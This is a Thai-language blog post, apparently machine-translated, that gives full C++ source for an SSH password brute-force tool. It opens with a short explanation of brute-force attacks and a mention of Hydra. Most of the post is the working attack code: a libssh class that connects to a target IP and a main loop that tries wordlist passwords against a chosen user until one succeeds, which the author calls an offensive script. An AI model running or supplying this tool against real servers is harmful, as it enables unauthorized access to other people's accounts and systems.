SSH Bruteforcing ด้วย C ++
การแนะนำ
ยินดีต้อนรับสู่บทความใหม่ของฉัน วันนี้ฉันจะแสดงให้คุณเห็นสคริปต์ C++ เพื่อดำเนินการ SSH Brute Force Attacks
การบังคับเดรัจฉานคืออะไร?
ข้อมูลโดย:
การโจมตีแบบเดรัจฉานคือวิธีการแฮ็กที่ใช้การลองผิดลองถูกเพื่อถอดรหัสรหัสผ่าน ข้อมูลรับรองการเข้าสู่ระบบ และคีย์เข้ารหัส เป็นกลวิธีที่เรียบง่ายแต่เชื่อถือได้ในการเข้าถึงบัญชีส่วนบุคคลและระบบและเครือข่ายขององค์กรโดยไม่ได้รับอนุญาต แฮ็กเกอร์พยายามใช้ชื่อผู้ใช้และรหัสผ่านหลายชุด มักใช้คอมพิวเตอร์ทดสอบชุดค่าผสมต่างๆ จนกว่าจะพบข้อมูลการเข้าสู่ระบบที่ถูกต้อง
ชื่อ “เดรัจฉาน” มาจากผู้โจมตีที่ใช้ความพยายามมากเกินไปในการเข้าถึงบัญชีผู้ใช้ แม้จะเป็นวิธีการโจมตีทางไซเบอร์แบบเก่า แต่การโจมตีแบบเดรัจฉานก็ได้รับการทดลองและทดสอบและยังคงเป็นกลยุทธ์ยอดนิยมของแฮ็กเกอร์
ในบทความที่เผยแพร่ก่อนหน้านี้ ฉันได้ให้ภาพรวมโดยย่อของ Hydra และวิธีการทำงานของ Hydra สำหรับSSH bruteforcing:
ไฮดรา — BruteForce
รหัส
นี่เป็นเวลาที่ดีในการดูรหัสที่ฉันใช้โจมตีเซิร์ฟเวอร์ SSH ด้วย C ++ ด้านล่างนี้เป็นตัวอย่างของไฟล์คลาสสำหรับ PoC นี้:
#include <iostream>
#include <string>
#include <libssh/libssh.h>
#include "Utils/ColorClass.h"
using namespace std;
class SSHHost{
public:
string ip;
string user;
SSHHost(string ip,string user){
this->ip = ip;
this->user = user;
}
ssh_session SSHConnection(string ip, string user){
yellow("Connecting to SSH...\n");
ssh_session session = ssh_new();
ssh_options_set(session, SSH_OPTIONS_HOST, ip.c_str());
int rc = ssh_connect(session);
if (rc != SSH_OK){
red("\nServer connection unsuccesfull\n");
cout<<"Error: "<<ssh_get_error(session) << endl;
}
else if(rc == 0){
green("\nServer connection succesfull\n");
return session;
}
}
int SSHAuth(ssh_session session,string user,string password){
// Authentication
int rc;
rc = ssh_userauth_password(session, user.c_str(), password.c_str());
if (rc != SSH_AUTH_SUCCESS){
}
else if (rc == SSH_AUTH_SUCCESS) {
green("Authentication Completed with password: ");
cout<<password<<"\n";
}
return rc;
}
};
#include <iostream>
#include <string>
#include <thread>
#include <vector>
#include "Host.h"
#include "Utils/WordlistToVector.h"
using namespace std;
int main(){
ssh_session session;
int check;
string ip;
string user;
string file;
cout<<"Put the user to attack: ";
cin>>user;
cout<<"Put the IP of SSH Server to attack: ";
cin>>ip;
cout<<"Put the Path of Wordlist File: ";
cin>>file;
vector<string> passwords = readPasswordsFromFile(file);
SSHHost ssh_host(ip,user);
session = ssh_host.SSHConnection(ssh_host.ip,ssh_host.user);
for (int i = 0; i < passwords.size(); i++) {
cout<<passwords[i]<<"\n";
}
for (int i = 0; i < passwords.size(); i++) {
check = ssh_host.SSHAuth(session,ssh_host.user,passwords[i]);
if(check == SSH_AUTH_SUCCESS){
ssh_disconnect(session);
break;
}}
return 0;
}
ไฟล์หลักร้องขอข้อมูลเกี่ยวกับผู้ใช้และที่อยู่ IP เพื่อโจมตี จากนั้นเรียกใช้ฟังก์ชันอื่นๆ
ฟังก์ชันอื่นๆ อยู่ใน ไฟล์คลาส SSHHostและมีสองแอตทริบิวต์ คือ ผู้ใช้ และ IP
จากนั้นมีวิธีตัวสร้างวิธีSSHConnectionและSSHAuth SSHConnection ส่งคืนเซสชันที่ใช้SSHAuth
ป.ป.ช
รันสคริปต์และตอบกลับพร้อมต์ของผู้ใช้ตามนั้น:
ขั้นตอนที่รวมอยู่ในวิธีการโจมตีนี้ง่ายต่อการทำซ้ำและเป็นวิธีการโจมตีที่ถูกต้องในโลกไซเบอร์สมัยใหม่
ผลลัพธ์ด้านบนแสดงรหัสผ่านที่ค้นพบ ซึ่งบ่งชี้ว่าประสบความสำเร็จในการโจมตีแบบเดรัจฉาน…
ข้อสรุป
นี่เป็นหนึ่งในสคริปต์ที่ไม่เหมาะสมครั้งแรกของฉันที่ใช้คลาสและอ็อบเจกต์ ขอบคุณที่อ่านบทความของฉัน ฉันหวังว่าคุณจะสนุกกับเนื้อหา!
S12





































![รายการที่เชื่อมโยงคืออะไร? [ส่วนที่ 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)